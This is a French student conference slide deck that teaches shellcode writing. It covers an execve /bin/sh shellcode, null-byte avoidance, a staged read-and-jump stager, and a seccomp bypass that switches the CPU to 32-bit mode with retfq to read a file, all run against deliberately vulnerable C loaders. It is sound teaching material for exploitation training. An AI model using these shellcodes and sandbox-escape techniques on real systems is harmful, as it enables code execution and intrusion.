DEEP DIVE INTO THE SHELLCODE WORLD: BYPASSING MODERN PROTECTIONS

WHO AM I?

Louis

Étudiant à **0x41**

Alternant chez **SAFRAN**

Blog: kiperz.dev

Discord: **kiperzzz75**

QU'EST-CE QU'UN SHELLCODE ?

Définition

Une suite d'instructions en assembleur que le programme va exécuter, généralement suite à l'exploitation d'une vulnérabilité.

RAPPEL : ASSEMBLEUR X64

PUSH / POP

Empile / Dépile sur la stack

`push rax` / `pop rax`

MOV

Copie la valeur d'un registre

`mov rax, rbx`

XOR

Opération XOR bit à bit (souvent pour mettre à zéro)

`xor rax, rax`

SYSCALL

Appel système contenu dans le registre `rax`

`syscall`

JMP

Saute inconditionnellement à une adresse

`jmp rax`

RET

Retourne de la fonction en dépilant l'adresse de retour

`ret`

RAPPEL : REGISTRES X64

RAX

Utilisé pour les valeurs de retour et le numéro de syscall

RDI

Premier argument des fonctions et syscalls

RSI

Deuxième argument des fonctions et syscalls

RDX

Troisième argument des fonctions et syscalls

RCX

Quatrième argument des fonctions (R10 pour syscalls)

RSP

Stack Pointer - pointe vers le sommet de la stack
Modifié par PUSH/POP/CALL/RET

MY FIRST SHELLCODE

LOADER C

```c
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>

int main() {
    unsigned char buffer[256];

    printf("Entrez votre shellcode : ");
    read(0, buffer, sizeof(buffer));

    // Rend la stack exécutable
    void *page = (void *)((unsigned long)buffer & ~0x0FFF);
    mprotect(page, 4096, PROT_READ | PROT_WRITE | PROT_EXEC);

    // Exécute
    void (*func)() = (void (*)())buffer;
    func();

    return 0;
}
```

SHELLCODE ASM

```asm
mov rsi, 0
mov rdx, 0
mov rcx, 0x68732f6e69622f
push rcx
mov rdi, rsp
mov rax, 59
syscall
```

execve("/bin/sh", NULL, NULL)

BYPASS NULL BYTES

```c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>

int main() {
    unsigned char buffer[256];
    unsigned char exec_buffer[256];

    puts("Entrez votre shellcode : ");
    int n = read(0, buffer, sizeof(buffer));

    strncpy((char *)exec_buffer, (char *)buffer, n);

    void *page = (void *)((unsigned long)exec_buffer & ~0×FFF);
    mprotect(page, 4096, PROT_READ | PROT_WRITE | PROT_EXEC);

    void (*func)() = (void (*)())exec_buffer;
    func();

    return 0;
}
```

BYPASS NULL BYTES

Problème : `strncpy()` s'arrête au premier `\x00` → shellcode tronqué !

Solution :

```
xor rsi, rsi                    ; Remplace mov rsi, 0
xor rdx, rdx                    ; Remplace mov rdx, 0
xor rax, rax                    ; Met rax à 0
mov rdi, 0×68732f2f6e69622f     ; "//bin/sh" (8 bytes)
push rsi                        ; Push 0 (null-terminator)
push rdi                        ; Push la chaîne
mov rdi, rsp                    ; rdi pointe vers la chaîne
mov al, 59                      ; Petit registre
syscall
```

execve("//bin/sh", NULL, NULL)

STAGED SHELLCODES

```c
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>

int main() {
    unsigned char buffer[256];

    puts("Entrez votre shellcode : ");
    read(0, buffer, 0x15);

    // Rend la stack exécutable
    void *page = (void *)((unsigned long)buffer & ~0xFFF);
    mprotect(page, 4096, PROT_READ | PROT_WRITE | PROT_EXEC);

    // Exécute
    void (*func)() = (void (*)())buffer;
    func();

    return 0;
}
```

Problème : Le programme ne lit que **22 bytes** (`0×15`) → impossible d'injecter un shellcode `/bin/sh` complet !

Solution : Injecter un premier petit shellcode qui va lire notre second shellcode puis sautera dessus pour l'executer

```
xor rax, rax          ; syscall read (rax = 0)
xor rdi, rdi          ; stdin (rdi = 0)
mov rsi, rsp          ; buffer = stack pointer
mov rdx, 0×100        ; lit 256 bytes
syscall               ; read(0, rsp, 256)
jmp rsi               ; saute vers le code lu
```

read(stdin, stack, 0x100)

SECCOMP WHITELIST

```
int main() {
    unsigned char buffer[256];

    // Configuration seccomp manuelle - whitelist multiple syscalls
    struct sock_filter filter[] = {
        BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 0, 0, 1),   // read
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 1, 0, 1),   // write
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 3, 0, 1),   // close
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 4, 0, 1),   // stat
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 5, 0, 1),   // fstat
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 6, 0, 1),   // lstat
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 9, 0, 1),   // mmap
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 10, 0, 1),  // mprotect
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 11, 0, 1),  // munmap
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 60, 0, 1),  // exit
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
    };

    struct sock_fprog prog = {
        .len = sizeof(filter) / sizeof(filter[0]),
        .filter = filter,
    };
  [...]
}
```

SECCOMP WHITELIST

Problème : Seuls certains syscalls 64 bits sont autorisés

Syscalls autorisés : `read`, `write`, `close`, `stat`, `fstat`, `lstat`, `mmap`, `mprotect`, `munmap`, `exit`

SECCOMP WHITELIST

Solution :

Le programme ne vérifie pas l'architecture ! On peut basculer en mode 32 bits où les numéros de syscall sont différents

SECCOMP BYPASS – ÉTAPE 1

Mapper une région mémoire en 32 bits

Utilise `mmap` pour créer une zone exécutable, y lit le shellcode et saute dessus

```
xor rax, rax
mov al, 9              ; syscall mmap
mov rdi, 0×7f0000      ; adresse
mov rsi, 4096          ; taille
mov dl, 7              ; PROT_READ|WRITE|EXEC
xor r10, r10
mov r10b, 0×32         ; MAP_PRIVATE|ANONYMOUS
mov r8, -1             ; fd
xor r9, r9             ; offset
syscall

mov rbx, rax           ; sauvegarde l'adresse
xor rax, rax           ; syscall read
xor rdi, rdi           ; stdin
mov rsi, rbx           ; buffer = zone mappée
mov rdx, 256           ; taille
syscall

jmp rbx                ; saute vers le shellcode 32 bits
```

SECCOMP BYPASS – ÉTAPE 2

Basculer le CPU en mode 32 bits

Utilise `retfq` pour changer de mode d'exécution

```
mov rsp, 0×7f0000       ; nouvelle stack
add rsp, 0×200
push 0×23               ; segment 32 bits
push 0×7f0017           ; adresse de retour
retfq                   ; far return → bascule en 32 bits
```

Le CPU exécute maintenant en mode 32 bits !

SECCOMP BYPASS – ÉTAPE 3

Shellcode 32 bits : open/read/write

Lit et affiche le contenu d'un fichier en utilisant les syscalls 32 bits

```
    jmp get_path
back:
    pop ebx            ; récupère le chemin du fichier
    mov eax, 5         ; syscall open (32 bits)
    xor ecx, ecx       ; O_RDONLY
    xor edx, edx
    int 0×80

    mov ebx, eax       ; fd du fichier
    mov eax, 3         ; syscall read (32 bits)
    sub esp, 100       ; buffer sur la stack
    mov ecx, esp
    mov edx, 100
    int 0×80

    mov edx, eax       ; nombre de bytes lus
    mov eax, 4         ; syscall write (32 bits)
    mov ebx, 1         ; stdout
    int 0×80

    xor eax, eax
    inc eax            ; syscall exit (32 bits)
    xor ebx, ebx
    int 0×80
get_path:
    call back          ; push l'adresse du chemin
```

open("/path/to/file") → read() → write(stdout)

CONCLUSION

Les protections ne sont pas infaillibles

Même avec des mécanismes de sécurité, il est possible de les contourner avec un peu d'ingéniosité et de créativité.

Ce n'est que la surface

Cette présentation n'a fait qu'effleurer le sujet des shellcodes. Il existe de nombreuses autres protections et techniques :

- CFI (Control Flow Integrity)
- SELinux/AppArmor
- Et bien d'autres...

À vous de jouer !

Questions ?

Je reste joignable sur Discord (**kiperzzz75**) ou slack

Ressources

L'ensemble des ressources (code C, exploits Python, slides) sont disponibles sur mon GitHub : **kiperZZZ**

Merci pour votre attention !